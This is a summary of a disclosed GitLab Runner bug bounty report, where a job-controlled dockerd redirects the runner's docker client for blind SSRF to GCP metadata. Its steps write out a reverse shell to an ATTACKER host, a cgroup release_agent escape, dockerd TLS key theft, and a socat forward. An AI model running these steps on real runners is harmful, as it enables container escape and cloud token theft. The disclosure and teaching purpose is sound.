# SSRF into Shared Runner, by replacing dockerd with malicious server in Executor

GitLab Runner's docker client followed redirects from the user-controlled executor dockerd, enabling blind SSRF to localhost, link-local and GCP metadata from shared runners.

- Payout: hidden
- Severity: medium
- Program: GitLab
- Found by: lucash-dev
- Disclosed: 2020-09-08
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/809248
- Library page: https://bugbountylibrary.com/r/h1%3A809248
- Tags: area:cloud domain:infra impact:internal-access kind:bounty platform:hackerone sev:medium tech:docker tech:go technique:chained technique:source-review vuln:ssrf

**Target:** GitLab Runner docker client / shared runner executor dockerd
**Root cause:** The runner's docker client http.Client lacks a redirect policy, so it follows HTTP redirects returned by the executor's dockerd, which the CI job fully controls (including TLS keys).
**Steps:**
1. Run CI job with `bash -i >& /dev/tcp/ATTACKER/4444 0>&1` to get reverse shell in executor.
2. Mount host disk `/dev/sda9` at `/h` and set up cgroup release_agent for root command execution.
3. Read `/h/etc/docker/server.pem` and `server-key.pem` to impersonate dockerd.
4. Start malicious HTTPS server on attacker box using those certs, redirecting GETs to `http://metadata.google.internal:80/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=text`.
5. Find PID on port 2376 via netstat, kill it, and `socat tcp-listen:2376,reuseaddr,fork tcp:ATTACKER:1111` to forward runner traffic.
6. Runner docker client TLS-connects to attacker server, follows redirect to metadata endpoint; observe first char of response in job error logs.
**How found:** Code review of official_docker_client.go line 45 spotted `http.Client{Transport: transport}` missing a redirect policy; reasoned that since the executor dockerd is user-controlled, redirects can be attacker-supplied.
**Exploitation:** Attacker controls the executor dockerd, replaces it with a malicious HTTPS server using the executor's own TLS keys, and redirects the runner's docker API calls to arbitrary internal HTTP(S) targets. Response bodies leak in job logs on error; successful responses leak first character or hang on valid JSON.
**Escalation:** Chained executor root access + TLS key theft + socat port forwarding to redirect runner traffic; targets GCP metadata service for token theft (partial).
**Insight:** When a client trusts a daemon/agent the tenant controls, TLS auth is meaningless because the tenant owns the keys; check for missing CheckRedirect policies on internal service clients to pivot into SSRF.

